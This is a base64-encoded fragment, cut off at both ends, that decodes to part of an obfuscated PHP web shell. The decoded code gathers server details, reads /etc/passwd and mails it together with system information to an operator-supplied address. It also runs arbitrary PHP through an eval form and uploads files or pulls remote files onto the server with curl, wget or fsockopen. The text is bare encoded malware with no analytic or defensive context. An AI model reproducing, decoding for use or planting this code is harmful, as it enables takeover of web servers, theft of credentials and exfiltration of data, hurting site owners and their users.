QVSBpbmZvIix6M28oKSx6M28oKSk7ICRtZW09ejVhKCk7ICRnX2FycltdPWFycmF5KCJSQU0gaW5mbyIsJG1lbVswXVsxXSwkbWVtWzBdWzBdLiRtZW1bMF1bMV0pOyBpZigkbml4KSAkZ19hcnJbXT1hcnJheSgiUkFNIGJ1ZmZlcmVkIiwkbWVtWzFdWzFdLCRtZW1bMV1bMF0uJG1lbVsxXVsxXSk7IGlmKCRuaXgpICRnX2FycltdPWFycmF5KCJTd2FwIiwkbWVtWzJdWzFdLCRtZW1bMl1bMF0uJG1lbVsyXVsxXSk7ICRkaXNrPXo5cigpOyBpZihAY291bnQoJGRpc2spPjF8fCFAaXNzZXQoJGRpc2tbMF1bMF0pKXsgZm9yZWFjaCgkZGlzayBhcyAkZGQ9PiRpbmYpeyAkZ19hcnJbXT1hcnJheSgiU3BhY2Ugb24gIi4kZGQsJGluZlsxXSwkaW5mWzBdLiRpbmZbMV0pOyB9IH1lbHNleyAkZ19hcnJbXT1hcnJheSgiRGlzayBzcGFjZSIsJGRpc2tbMF1bMV0sJGRpc2tbMF1bMF0uJGRpc2tbMF1bMV0pOyB9IGlmKCFAZW1wdHkoJGhvc3QpKXsgJGhvc3QgLj0gIiAoIi5AZ2V0aG9zdGJ5bmFtZSgkaG9zdCkuIikgIjsgfSBpZihAcHJlZ19tYXRjaCgnL15cZFwuXGRcLlxkXC5cZCQvJywkc2FkZHIpKXsgJGhvc3QgLj0gJHNhZGRyOyB9IGVsc2UgeyAkaG9zdC49ICRzYWRkci4iICgiLkBnZXRob3N0YnluYW1lKCRzYWRkcikuIikiOyB9ICRnX2FycltdPWFycmF5KCJIb3N0bmFtZSIsJGhvc3QsJGhvc3QpOyBpZihAY291bnQoJHVzZXJzKT4wKXsgaWYoQGlzc2V0KCR2aWV3dXNlcnMpJiYkdmlld3VzZXJzKXsgJHB1c2Vycz0nJzsgZm9yZWFjaCgkdXNlcnMgYXMgJHVhcnIpeyAkcHVzZXJzIC49IHo1eChhcnJheSgiYWN0Ij0+ImxzIiwiZCI9PiR1YXJyWzFdKSx6OGIoJHVhcnJbMF0sIjEiKSwxKS56OXgoKS4iICI7IH0gfSBlbHNlIHsgJHB1c2Vycz1AY291bnQoJHVzZXJzKS4iIHVzZXJzIG9uIHRoaXMgYm94LiIuejl4KCkuejV4KGFycmF5KCJhY3QiPT4ic3lzaW5mbyIsImQiLCJ2aWV3dXNlcnMiPT4iMSIpLHo4YigiVmlldyIsIjEiKSk7IH0gJGdfYXJyW109YXJyYXkoIlN5c3RlbSB1c2VycyIsIiIsJHB1c2Vycyk7IH0gaWYoQGNvdW50KCRnX2Fycik+MCl7IGVjaG8gejNxKHo5eSgiNDc5IikpOyBlY2hvIHo5bSgnMicpOyBmb3IoJGk9MDskaTxAY291bnQoJGdfYXJyKTskaSsrKXsgZWNobyB6OWQoejljKCRnX2FyclskaV1bMF0sIjE0IiwiMjUiKS56OWMoJGdfYXJyWyRpXVsyXSwiMTQiLCIzIiksKCRpJTI/JzAnOicxJykpOyB9IGVjaG8gejEwcSgpOyB9ICRic21lZD16OGQoInNhZmVfbW9kZV9leGVjX2RpciIpOyAkcHNtZWQ9KCgkYnNtZWQpP0BpbmlfZ2V0KCJzYWZlX21vZGVfZXhlY19kaXIiKToiTk9ORSIpOyAkYnNtaWQ9ejhkKCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsgJHBzbWlkPSgoJGJzbWlkKT9AaW5pX2dldCgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik6Ik5PTkUiKTsgJG9wZW5kaXJzPSIiOyBpZigkYm9wZW5kaXIpeyBmb3JlYWNoKHo5YShAaW5pX2dldCgib3Blbl9iYXNlZGlyIikpIGFzICRvZCl7ICRvcGVuZGlycyAuPSB6NXgoYXJyYXkoImFjdCI9PiJscyIsImQiPT4kb2QpLHo4Yigkb2QsIjEiKSwxKS56OXgoKS4iICI7IH0gfSAkZGZuYz16NmgoKTsgaWYoQGNvdW50KCRkZm5jKT4wKXsgJG5kZm5jPUBpbXBsb2RlKCIgIiwgJGRmbmMpOyAkcGRmbmM9IiI7IGZvcmVhY2goJGRmbmMgYXMgJGZuYykgJHBkZm5jIC49IHoxMHQoJ2h0dHA6Ly9waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi4nLkBzdHJfcmVwbGFjZSgiXyIsIi0iLCRmbmMpLicucGhwJywkZm5jLCIxIiwxKS56OXgoKS4iICI7IH0gZWxzZSB7ICRuZGZuYz0iTk9ORSI7ICRwZGZuYz16NXAoIk5PTkUiKTsgfSAkcF9hcnI9YXJyYXkoKTsgJHBfYXJyW109YXJyYXkoIlBIUCBWZXJzaW9uIixAcGhwdmVyc2lvbigpLEBwaHB2ZXJzaW9uKCkuejl4KCkuejV4KGFycmF5KCJhY3QiPT4icGhwaW5mbyIsImQiKSx6OGIoIlBIUCBJbmZvIiwiMSIpKSk7ICRwX2FycltdPWFycmF5KCJPcGVuIEJhc2VkaXIiLCgoJGJvcGVuZGlyKT9AaW5pX2dldCgib3Blbl9iYXNlZGlyIik6Ik5PTkUiKSwoKCRib3BlbmRpcik/JG9wZW5kaXJzOno1cCgiTk9ORSIpKSk7ICRwX2FycltdPWFycmF5KCJTYWZlLW1vZGUiLCgoJGJzYWZlKT8iT04iOiJPRkYiKSwoJGJzYWZlP3o4aygiT04iKTp6NXAoIk9GRiIpKSk7IGlmKCRic2FmZSl7ICRwX2FycltdPWFycmF5KCJTYWZlLW1vZGUgZXhlYyBkaXIiLCRwc21lZCwoKCRic21lZCk/ejVwKCRwc21lZCk6ejhrKCRwc21lZCkpKTsgJHBfYXJyW109YXJyYXkoIlNhZmUtbW9kZSBpbmNsdWRlIGRpciIsJHBzbWlkLCgoJGJzbWlkKT96NXAoJHBzbWlkKTp6OGsoJHBzbWlkKSkpOyB9IGZvcmVhY2goYXJyYXkoInJlZ2lzdGVyX2dsb2JhbHMiLCJhbGxvd191cmxfZm9wZW4iLCJhbGxvd191cmxfaW5jbHVkZSIsIm1lbW9yeV9saW1pdCIsImZpbGVfdXBsb2FkcyIsInVwbG9hZF90bXBfZGlyIiwidXBsb2FkX21heF9maWxlc2l6ZSIsInBvc3RfbWF4X3NpemUiLCJtYWdpY19xdW90ZXNfZ3BjIikgYXMgJGluaSl7ICRwX2FycltdPWFycmF5KHozcihAc3RyX3JlcGxhY2UoIl8iLCIgIiwkaW5pKSksejN4KEBpbmlfZ2V0KCRpbmkpKSx6M3goQGluaV9nZXQoJGluaSkpKTsgfSAkcF9hcnJbXT1hcnJheSgiRGlzYWJsZWQgRnVuY3Rpb25zIiwkbmRmbmMsJHBkZm5jKTsgaWYoQGNvdW50KCRwX2Fycik+MCl7IGVjaG8gejNxKHo5eSgiNDgwIikpOyBlY2hvIHo5bSgnMicpOyBmb3IoJGk9MDskaTxAY291bnQoJHBfYXJyKTskaSsrKXsgZWNobyB6OWQoejljKCRwX2FyclskaV1bMF0sIjE0IiwiMjUiKS56OWMoJHBfYXJyWyRpXVsyXSwiMTQiLCIzIiksKCRpJTI/JzAnOicxJykpOyB9IGVjaG8gejEwcSgpOyB9IGlmKCRuaXgpeyAkb19hcnI9YXJyYXkoKTsgJHRtcD0kdG1wcD0nJzsgZm9yZWFjaChhcnJheSgiL2V0Yy8iPT5hcnJheSgicGFzc3dkIiwiaG9zdHMiLCJtb2R1bGVzIiwiZnN0YWIiLCJpc3N1ZSIsImlzc3VlLm5ldCIsIm1vdGQiKSwiL3Byb2MvIj0+YXJyYXkoImNwdWluZm8iLCJtZW1pbmZvIiwidmVyc2lvbiIsImludGVycnVwdHMiKSkgYXMgJGVkPT4kYWYpeyBmb3JlYWNoKCRhZiBhcyAkZWYpeyBpZih6NHIoJGVkLiRlZikmJnoxeSgkZWQuJGVmKSl7ICR0bXAgLj0gJGVkLiRlZi4iICI7ICR0bXBwIC49IHo1eChhcnJheSgiYWN0Ij0+ImYiLCJkIj0+JGVkLCJmIj0+JGVmLCJmdCI9PiJ0ZXh0IiksejhiKCRlZiwiMSIpLDEpLno5eCgpLiIgIjsgfSB9IH0gaWYoIUBlbXB0eSgkdG1wKSkgJG9fYXJyW109YXJyYXkoejl5KCI0ODIiKSwkdG1wLCR0bXBwKTsgJHRtcD0kdG1wcD0nJzsgZm9yZWFjaChhcnJheSgiL2V0Yy8iPT5hcnJheSgic3lzbG9nLmNvbmYiLCJzeXNsb2dkLmNvbmYiLCJyc3lzbG9nLmNvbmYiLCJyZXNvbHYuY29uZiIsImh0dHBkLmNvbmYiLCJhcGFjaGUyLmNvbmYiLCJhcGFjaGUuY29uZiIsImFwYWNoZTIvYXBhY2hlLmNvbmYiLCJwcm9mdHBkLmNvbmYiLCJwcm9mdHBkLmNvbmYiLCJpbmV0ZC5jb25mIiksIi9ldGMvYXBhY2hlMi8iPT5hcnJheSgiaHR0cGQuY29uZiIsImFwYWNoZTIuY29uZiIpLCIvZXRjL3Byb2Z0cGQvIj0+YXJyYXkoInByb2Z0cGQuY29uZiIpKSBhcyAkZWQ9PiRhZil7IGZvcmVhY2goJGFmIGFzICRlZil7IGlmKHo0cigkZWQuJGVmKSYmejF5KCRlZC4kZWYpKXsgJHRtcCAuPSAkZWQuJGVmLiIgIjsgJHRtcHAgLj0gejV4KGFycmF5KCJhY3QiPT4iZiIsImQiPT4kZWQsImYiPT4kZWYsImZ0Ij0+InRleHQiKSx6OGIoJGVmLCIxIiksMSkuejl4KCkuIiAiOyB9IH0gfSBpZighQGVtcHR5KCR0bXApKSAkb19hcnJbXT1hcnJheSh6OXkoIjQ4MyIpLCR0bXAsJHRtcHApOyAkdG1wPSR0bXBwPScnOyBmb3JlYWNoKGFycmF5KCJjdXJsIiwiZmV0Y2giLCJsaW5rcyIsImx5bngiLCJHRVQiLCJ3M20iLCJ3Z2V0IikgYXMgJGVmKXsgJGZmPXo4dCgkZWYpOyBpZighQGVtcHR5KCRmZikpeyAkdG1wLj0kZWYuIiAiOyAkdG1wcC49ejV4KGFycmF5KCJhY3QiPT4iZiIsImQiPT56M2EoJGZmKSwiZiI9PnoybCgkZmYpKSx6OGIoejJsKCRlZiksIjEiKSwxKS56OXgoKS4iICI7IH0gfSAkdG1wPSR0bXBwPScnOyBmb3JlYWNoKGFycmF5KCJnY2MiLCJjYyIsImMrKyIsImcrKyIsIm5hc20iLCJsZCIsIm1ha2UiLCJjbWFrZSIpIGFzICRlZil7ICRmZj16OHQoJGVmKTsgaWYoIUBlbXB0eSgkZmYpKXsgJHRtcC49JGVmLiIgIjsgJHRtcHAuPXo1eChhcnJheSgiYWN0Ij0+ImYiLCJkIj0+ejNhKCRmZiksImYiPT56MmwoJGZmKSksejhiKHoybCgkZWYpLCIxIiksMSkuejl4KCkuIiAiOyB9IH0gaWYoIUBlbXB0eSgkdG1wKSkgJG9fYXJyW109YXJyYXkoejl5KCI0ODQiKSwkdG1wLCR0bXBwKTsgJHRtcD0kdG1wcD0nJzsgZm9yZWFjaChhcnJheSgicGVybCIsInB5dGhvbiIsInBocCIsInJ1YnkiLCJ0Y2wiKSBhcyAkZWYpeyAkZmY9ejh0KCRlZik7IGlmKCFAZW1wdHkoJGZmKSl7ICR0bXAuPSRlZi4iICI7ICR0bXBwLj16NXgoYXJyYXkoImFjdCI9PiJmIiwiZCI9PnozYSgkZmYpLCJmIj0+ejJsKCRmZikpLHo4Yih6MmwoJGVmKSwiMSIpLDEpLno5eCgpLiIgIjsgfSB9IGlmKCFAZW1wdHkoJHRtcCkpICRvX2FycltdPWFycmF5KHo5eSgiNDg1IiksJHRtcCwkdG1wcCk7IGlmKEBjb3VudCgkb19hcnIpPjApeyBlY2hvIHozcSh6OXkoIjQ4MSIpKTsgZWNobyB6OW0oJzInKTsgZm9yKCRpPTA7JGk8QGNvdW50KCRvX2Fycik7JGkrKyl7IGVjaG8gejlkKHo5Yygkb19hcnJbJGldWzBdLCIxNCIsIjI1IikuejljKCRvX2FyclskaV1bMl0sIjE0IiwiMyIpLCgkaSUyPycwJzonMScpKTsgfSBlY2hvIHoxMHEoKTsgfSB9IGlmKCRibWFpbCl7ICRlbXNnPScnOyAkbXNnPScnOyBpZihAaXNzZXQoJHNlbmRsb2cpJiYkc2VuZGxvZyYmQGlzc2V0KCRzeXNtYWlsKSYmIUBlbXB0eSgkc3lzbWFpbCkpeyAkbGluZT1Ac3RyX3JlcGVhdCgiLSIsMTAwKS4iXHJcbiI7IGlmKEBjb3VudCgkZ19hcnIpPjApeyAkbXNnLj0kbGluZS56OXkoIjQ3OSIpLiJcclxuIi4kbGluZTsgZm9yKCRpPTA7JGk8QGNvdW50KCRnX2Fycik7JGkrKyl7IGlmKCFAZW1wdHkoJGdfYXJyWyRpXVsxXSkpICRtc2cgLj0gJGdfYXJyWyRpXVswXS4iIDogIi4kZ19hcnJbJGldWzFdLiJcclxuIjsgfSB9IGlmKEBjb3VudCgkcF9hcnIpPjApeyAkbXNnLj0kbGluZS56OXkoIjQ4MCIpLiJcbiIuJGxpbmU7IGZvcigkaT0wOyRpPEBjb3VudCgkcF9hcnIpOyRpKyspeyBpZighQGVtcHR5KCRwX2FyclskaV1bMV0pKSAkbXNnIC49ICRwX2FyclskaV1bMF0uIiA6ICIuJHBfYXJyWyRpXVsxXS4iXHJcbiI7IH0gfSBpZihAY291bnQoJG9fYXJyKT4wKXsgJG1zZy49JGxpbmUuejl5KCI0ODEiKS4iXG4iLiRsaW5lOyBmb3IoJGk9MDskaTxAY291bnQoJG9fYXJyKTskaSsrKXsgaWYoIUBlbXB0eSgkb19hcnJbJGldWzFdKSkgJG1zZyAuPSAkb19hcnJbJGldWzBdLiIgOiAiLiRvX2FyclskaV1bMV0uIlxyXG4iOyB9IH0gJG1zZy49JGxpbmU7IGlmKCRicGFzc3dkKSAkbXNnIC49ICIvZXRjL3Bhc3N3ZFxuIi4kbGluZS56OW8oIi9ldGMvcGFzc3dkIikuJGxpbmU7ICRlbXNnPShAbWFpbCgkc3lzbWFpbCwiU1lTSU5GT3wkc2FkZHIiLCAkbXNnKSA/IHo5eSgiMjQzIik6ejl5KCIyNDQiKSk7IH0gZWNobyB6M3Eoejl5KCIzMDIiKS4oKCRlbXNnIT0nJyk/IiA6ICIuJGVtc2c6JycpKTsgZWNobyB6NXgoYXJyYXkoImFjdCI9PiJzeXNpbmZvIiwiZCIsInNlbmRsb2ciPT4iMSIpLHoxMHcoejViKCkuejd1KHo2bCh6NXkoInN5c21haWwiLHo3eignMicsImVtYWlsIiksIjAiKS56OGIoejl5KCIxNzkiKSwiNyIpKSkuejViKCksIjIiKSk7IH0gfSBpZigkYWN0PT0nZXZhbCcpeyBpZighQGlzc2V0KCRldmFsc3VibWl0KSl7ICRldmFsX3R4dD0xOyB9IGVsc2VpZighQGlzc2V0KCRldmFsX3R4dCkpeyAkZXZhbF90eHQ9MDsgfSBlY2hvIHozcSh6OXkoIjE4MiIpKS56NnMoKTsgZWNobyB6MTB3KCB6N3UoIHo2bCh6NXgoYXJyYXkoJ2FjdCc9PidldmFsJywnZCcsJ2V2YWxzdWJtaXQnPT4nMScpLCB6NXcoJ2V2YWwnLCcxJykuKEBpc3NldCgkZXZhbCk/QGh0bWxzcGVjaWFsY2hhcnMoJGV2YWwpOicvL3JlYWRmaWxlKCIvZXRjL3Bhc3N3ZCIpOycuIlxyXG4iKS56NXEoKS56OXooKS56NXooImxlZnQiLCIzIikuejhiKHo5eSgiMTgzIiksJzcnLCc5JykuejV1KCJldmFsX3R4dCIsejl5KCIxODQiKSwiZXZhbF90eHQiKS56NWgoKSkgKSApLno1YigpICwnMicpOyBpZihAaXNzZXQoJGV2YWxzdWJtaXQpJiYkZXZhbHN1Ym1pdCl7ICRldmFsPUBpc3NldCgkZXZhbCk/JGV2YWw6IiI7IGlmKCFAZW1wdHkoJGV2YWwpKXsgJGV2YWxfcmVzdWx0PSIiOyAkdG1wPUBvYl9nZXRfY29udGVudHMoKTsgJG9sZGRpcj1AcmVhbHBhdGgoIi4iKXx8QGdldGN3ZCgpOyBAY2hkaXIoJGQpOyBpZigkdG1wKXsgQG9iX2NsZWFuKCk7IGV2YWwoJGV2YWwpOyAkcmV0PUBvYl9nZXRfY29udGVudHMoKTsgJHJldD1AY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7IEBvYl9jbGVhbigpOyBlY2hvICR0bXA7IGlmKCRldmFsX3R4dCl7ICRldmFsX3Jlc3VsdD1AaHRtbHNwZWNpYWxjaGFycygkcmV0KTsgfWVsc2V7ICRldmFsX3Jlc3VsdD0kcmV0OyB9IH1lbHNleyBpZigkZXZhbF90eHQpeyAkZXZhbF9yZXN1bHQ9QGV2YWwoJGV2YWwpOyB9ZWxzZXsgJGV2YWxfcmVzdWx0PSRyZXQ7IH0gfSBAY2hkaXIoJG9sZGRpcik7IH0gaWYoJGV2YWxfdHh0KXsgZWNobyB6MTB3KCB6N3UoIHo2bCh6NXcoJycsJzEnLDEpLihAaXNzZXQoJGV2YWxfcmVzdWx0KT8kZXZhbF9yZXN1bHQ6JycpLno1cSgpKSApLno1YigpICwnMicpOyB9IGVsc2UgeyBlY2hvICRldmFsX3Jlc3VsdDsgfSB9IH0gaWYoJGFjdD09J3VwbG9hZCcpeyBpZih6MG4oJGQpKXsgJHdkdD0oKCR1c2VfaW1hZ2VzKT8nPGltZyBhbHQ9IisiIGJvcmRlcj0iMCIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IHBhZGRpbmctbGVmdDoycHg7IiBzcmM9Ij9hY3Q9aSZhbXA7aW1nPW9rIj4nOno1cCgiKyIpKTsgfWVsc2V7ICR3ZHQ9KCgkdXNlX2ltYWdlcyk/JzxpbWcgYWx0PSJ4IiBib3JkZXI9IjAiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOyBwYWRkaW5nLWxlZnQ6MnB4OyIgc3JjPSI/YWN0PWkmYW1wO2ltZz1jYW5jZWwiPic6ejhrKCJ4IikpOyB9ICRhX2dldD1hcnJheSgpOyAkbHNfYT1hcnJheSgpOyAkdW1zZz0kbW1zZz0kcm1zZz0nJzsgaWYoIUBpc3NldCgkbXVsdGl1cGxvYWQpKXsgaWYoQGlzc2V0KCR1c3VibWl0KSYmJHVzdWJtaXQpeyBnbG9iYWwgJF9GSUxFUzsgJGRlc3Q9Jyc7IGlmKCFAZW1wdHkoJF9GSUxFU1snZmlsZTEnXVsndG1wX25hbWUnXSkpeyAkZGVzdD0kX0ZJTEVTWydmaWxlMSddWyduYW1lJ107IH0gaWYoQGlzc2V0KCRyZmlsZTEpJiYhQGVtcHR5KCRyZmlsZTEpKXsgJGRlc3Q9JHJmaWxlMTsgfSBpZighQGlzc2V0KCRwYXRoMSl8fEBlbXB0eSgkcGF0aDEpKSAkcGF0aDE9JGQ7ICRwYXRoMT16MWsoJHBhdGgxKTsgaWYoIUBlbXB0eSgkZGVzdCkpeyBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlMSddWyd0bXBfbmFtZSddLCRwYXRoMS4kZGVzdCkpeyAkdW1zZyA9IHo5eSgiMTcyIixhcnJheSgkX0ZJTEVTWydmaWxlMSddWyduYW1lJ10sJF9GSUxFU1snZmlsZTEnXVsndG1wX25hbWUnXSwkcGF0aDEuJGRlc3QpKTsgfWVsc2V7ICR1bXNnID0gejl5KCIxNzMiLGFycmF5KCRfRklMRVNbJ2ZpbGUxJ11bJ25hbWUnXSwkcGF0aDEuJGRlc3QpKTsgJGxzX2FbXT0kcGF0aDEuJGRlc3Q7ICRub2xzbWVudT0xOyAkYWN0PSJscyI7ICRkPSRwYXRoMTsgfSAkdW1zZyA9IHoxMHcoejd1KHo5YygkdW1zZykpKTsgfSB9IGVjaG8gejNxKHo5eSgiMTYxIikpLiR1bXNnLiB6MTB3KCB6NWIoKS4gejlkKCB6OWMoIHo1bihhcnJheSgnYWN0Jz0+J3VwbG9hZCcsJ2QnLCd1c3VibWl0Jz0+JzEnKSwgejEwdyggejd1KHo1dCh6OXkoIjE2MiIpKS56OWMoejlnKCdmaWxlMScsJzInKS56OGIoejl5KCIxNzAiKSwnNycpLiR3ZHQpKS4gejd1KHo1dCh6OXkoIjE2MyIpKS56OWMoejZ1KCdyZmlsZTEnLChAaXNzZXQoJHJmaWxlMSk/JHJmaWxlMTonJyksIjkiKSkpLiB6N3UoejV0KHo5eSgiMTY0IikpLno5Yyh6NnUoJ3BhdGgxJywoQGlzc2V0KCRwYXRoMSk/JHBhdGgxOiRkKSwiOSIpKSkgKSApICkuIHo5YyggejV4KGFycmF5KCdhY3QnPT4ndXBsb2FkJywnZCcsJ211bHRpdXBsb2FkJz0+JzEnKSwgejEwdyggejd1KHo5Yyh6N24oejl5KCIxNjYiKSkuejZ1KCdsbm8nLCgoQGlzc2V0KCRsbm8pKT8kbG5vOicxMCcpLCcxJykuejhiKHo5eSgiMTY5IiksJzcnKSkpICkgKSApICkuIHo1YigpICwnMicpOyB9IGVsc2UgeyBpZihAaXNzZXQoJG1zdWJtaXQpJiYkbXN1Ym1pdCl7IGdsb2JhbCAkX0ZJTEVTOyBmb3JlYWNoKCRfRklMRVMgYXMgJGZrPT4kZnYpeyAkZGVzdD0nJzsgaWYoIUBlbXB0eSgkX0ZJTEVTWyRma11bJ3RtcF9uYW1lJ10pKXsgJGRlc3Q9JF9GSUxFU1skZmtdWyduYW1lJ107IH0gaWYoQGlzc2V0KCRyZmlsZVskZmtdKSYmIUBlbXB0eSgkcmZpbGVbJGZrXSkpeyAkZGVzdD0kcmZpbGVbJGZrXTsgfSBpZighQGlzc2V0KCRtcGF0aCl8fEBlbXB0eSgkbXBhdGgpKSAkbXBhdGg9JGQ7ICRtcGF0aD16MWsoJG1wYXRoKTsgaWYoIUBlbXB0eSgkZGVzdCkpeyBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyRma11bJ3RtcF9uYW1lJ10sJG1wYXRoLiRkZXN0KSl7ICRtbXNnIC49IHo5eSgiMTcyIixhcnJheSgkX0ZJTEVTWyRma11bJ25hbWUnXSwkX0ZJTEVTWyRma11bJ3RtcF9uYW1lJ10sJG1wYXRoLiRkZXN0KSkuejl6KCk7IH1lbHNleyAkbW1zZyAuPSB6OXkoIjE3MyIsYXJyYXkoJF9GSUxFU1skZmtdWyduYW1lJ10sJG1wYXRoLiRkZXN0KSkuejl6KCk7ICRsc19hW109JG1wYXRoLiRkZXN0OyAkbm9sc21lbnU9MTsgJGFjdD0ibHMiOyAkZnRhcmdldD0nMSc7ICRkPSRtcGF0aDsgfSB9IH0gaWYoJG1tc2chPScnKSAkbW1zZyA9IHoxMHcoejd1KHo5YygkbW1zZykpKTsgfSAkZm9ybT0nJzsgaWYoIUBpc19udW1lcmljKCRsbm8pKSAkbG5vPTEwOyBmb3IoJGk9MDsgJGk8JGxubzsgJGkrKyl7ICRpaT0oJGkrMSk7ICRmb3JtIC49IHo3dSh6NXQoejl5KCIxNjIiKS4iICIuJGlpKS56OWMoejlnKCdmaWxlJy4kaWksJzInKSkuejV0KHo5eSgiMTYzIikpLno5Yyh6NnUoJ3JmaWxlW2ZpbGUnLiRpaS4nXScsJycsIjAiKSkpOyB9IGVjaG8gejNxKHo5eSgiMTY4IikpLiRtbXNnLiB6NW4oYXJyYXkoJ2FjdCc9Pid1cGxvYWQnLCdkJywnbXVsdGl1cGxvYWQnPT4nMScsJ2xubycsJ21zdWJtaXQnPT4nMScpLHoxMHcoejViKCkuJGZvcm0pLnoxMHcoejViKCkuejd1KHo1dCh6OXkoIjE2NCIpKS56OWMoejZ1KCdtcGF0aCcsKEBpc3NldCgkbXBhdGgpPyRtcGF0aDokZCksIjkiKS56OGIoejl5KCIxNzAiKSwnNycpLiR3ZHQpKS56NWIoKSkpOyB9IGlmKCRiY3VybCkgJGFfZ2V0WydwaHBjdXJsJ109InVzZSBwaHAtPmN1cmwiOyBpZigkYmZzb2NrKSAkYV9nZXRbJ2Zzb2NrJ109InVzZSBwaHAtPmZzb2Nrb3BlbiI7IGlmKHo3ZSgnaW5pX2dldCcpICYmIHo4ZCgnYWxsb3dfdXJsX2ZvcGVuJykgJiYgejdlKCdmaWxlX2dldF9jb250ZW50cycpKSAkYV9nZXRbJ2ZpbGVfZ2V0X2NvbnRlbnRzJ109InVzZSBwaHAtPmZpbGVfZ2V0X2NvbnRlbnRzIjsgaWYoJG5peCYmJHNoX2V4ZWMpeyBmb3JlYWNoKCRnZXRhbGlhc2VzIGFzICRrPT4kdil7IGlmKHo4dCgkaykpICRhX2dldFska109InVzZSBjbWQtPiRrIjsgfSB9IGlmKEBjb3VudCgkYV9nZXQpPjApeyBpZihAaXNzZXQoJHJzdWJtaXQpJiYkcnN1Ym1pdCl7ICRmY3Q9Jyc7IGlmKCFAcHJlZ19tYXRjaCgiOl4oaHR0cHxodHRwc3xmdHApXDovLyhbYS16QS1aMC05XC5cLV0rKFw6W2EtekEtWjAtOVwuJiVcJFwtXSspKkApPygoMjVbMC01XXwyWzAtNF1bMC05XXxbMC0xXXsxfVswLTldezJ9fFsxLTldezF9WzAtOV17MX18WzEtOV0pXC4oMjVbMC01XXwyWzAtNF1bMC05XXxbMC0xXXsxfVswLTldezJ9fFsxLTldezF9WzAtOV17MX18WzEtOV18MClcLigyNVswLTVdfDJbMC00XVswLTldfFswLTFdezF9WzAtOV17Mn18WzEtOV17MX1bMC05XXsxfXxbMS05XXwwKVwuKDI1WzAtNV18MlswLTRdWzAtOV18WzAtMV17MX1bMC05XXsyfXxbMS05XXsxfVswLTldezF9fFswLTldKXwoW2EtekEtWjAtOVwtXStcLikqW2EtekEtWjAtOVwtXStcLlthLXpBLVpdezIsNH0pKFw6WzAtOV0rKT8oL1teL11bYS16QS1aMC05XC5cLFw/XCdcXC9cKyYlXCQjXD1+X1wtQF0qKSokOmkiLCR1cGxvYWR1cmwpKXsgJHJtc2c9ejl5KCIxNzEiLCR1cGxvYWR1cmwpOyB9IGVsc2UgeyAkZGVzdD16MmwoJHVwbG9hZHVybCk7IGlmKEBpc3NldCgkbmFtZXVybCkmJiFAZW1wdHkoJG5hbWV1cmwpKSAkZGVzdD0kbmFtZXVybDsgaWYoQGVtcHR5KCRkZXN0KSkgJGRlc3Q9J2luZGV4Lmh0bWwnOyBpZighQGlzc2V0KCRycGF0aCl8fEBlbXB0eSgkcnBhdGgpKSAkcnBhdGg9JGQ7ICRycGF0aD16MWsoJHJwYXRoKTsgaWYoejRyKCRycGF0aC4kZGVzdCkpeyAkaT0xOyB3aGlsZSh6NHIoJHJwYXRoLiRkZXN0KSl7IGlmKCRpPT0xKXsgJGRlc3Q9JGRlc3QuIi4iLiRpOyB9ZWxzZXsgJGRlc3Q9QHN1YnN0cigkZGVzdCwwLEBzdHJsZW4oJGRlc3QpLTIpLiIuIi4kaTsgfSAkaSsrOyB9IH0gaWYoJHVwd2l0aD09J3BocGN1cmwnfHwkdXB3aXRoPT0nZnNvY2snfHwkdXB3aXRoPT0nZmlsZV9nZXRfY29udGVudHMnKXsgaWYoJHVwd2l0aD09J3BocGN1cmwnKSAkZmN0PXozdCgkdXBsb2FkdXJsKTsgaWYoJHVwd2l0aD09J2Zzb2NrJykgJGZjdD16MmgoJHVwbG9hZHVybCk7IGlmKCR1cHdpdGg9PSdmaWxlX2dldF9jb250ZW50cycpICRmY3Q9QGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOyBpZighJGZjdHx8QGVtcHR5KCRmY3QpKXsgJHJtc2cgPSB6OXkoIjE3NCIpOyB9IGVsc2UgeyBpZih6OXQoJHJwYXRoLiRkZXN0LCAkZmN0KSl7ICRybXNnPXo5eSgiMTc2IiwkcnBhdGguJGRlc3QpOyAkbHNfYVtdPSRycGF0aC4kZGVzdDsgJG5vbHNtZW51PTE7ICRhY3Q9ImxzIjsgJGQ9JHJwYXRoOyB9IGVsc2UgeyAkcm1zZz16OXkoIjE3NSIsJHJwYXRoLiRkZXN0KTsgfSB9IH0gZWxzZSB7IGlmKCRuaXgmJiRzaF9leGVjJiZAaXNzZXQoJGdldGFsaWFzZXNbJHVwd2l0aF0pKXsgJHVjbWQ9QHN0cl9yZXBsYWNlKCdbJTElXScsICR1cHdpdGgsICRnZXRhbGlhc2VzWyR1cHdpdGhdKTsgJHVjbWQ9QHN0cl9yZXBsYWNlKCdbJTIlXScsICR1cGxvYWR1cmwsICR1Y21kKTsgJHVjbWQ9QHN0cl9yZXBsYWNlKCdbJTMlXScsICRycGF0aC4kZGVzdCwgJHVjbWQpOyB6OWUoJHVjbWQsMSk7IGlmKHo0cigkcnBhdGguJGRlc3QpKXsgJHJtc2c9ejl5KCIxNzYiLCRycGF0aC4kZGVzdCk7ICRsc19hW109JHJwYXRoLiRkZXN0OyAkbm9sc21lbnU9MTsgJGFjdD0ibHMiOyAkZD0kcnBhdGg7IH0gZWxzZSB7ICRybXNnID0gejl5KCIxNzQiKTsgfSB9IH0gfSBpZigkcm1zZyE9JycpICRybXNnID0gejEwdyh6N3UoejljKCRybXNnKSkpOyB9IGVjaG8gejNxKHo5eSgiMTY3IikpLiRybXNnLiB6NXgoYXJyYXkoJ2FjdCc9Pid1cGxvYWQnLCdkJywncnN1Ym1pdCc9PicxJyksIHoxMHcoejViKCkuejd1KHo1dCh6OXkoIjE2NSIpKS56OWMoejZ1KCd1cGxvYWR1cmwnLChAaXNzZXQoJHVwbG9hZHVybCk/JHVwbG9hZHVybDonaHR0cDovLycpLCIwIikuejNtKCd1cHdpdGgnLCRhX2dldCwnNCcsJzEnKS56OGIoejl5KCIxNzAiKSwnNycpLiR3ZHQpKS4gejd1KHo1dCh6OXkoIjE2MyIpKS56OWMoejZ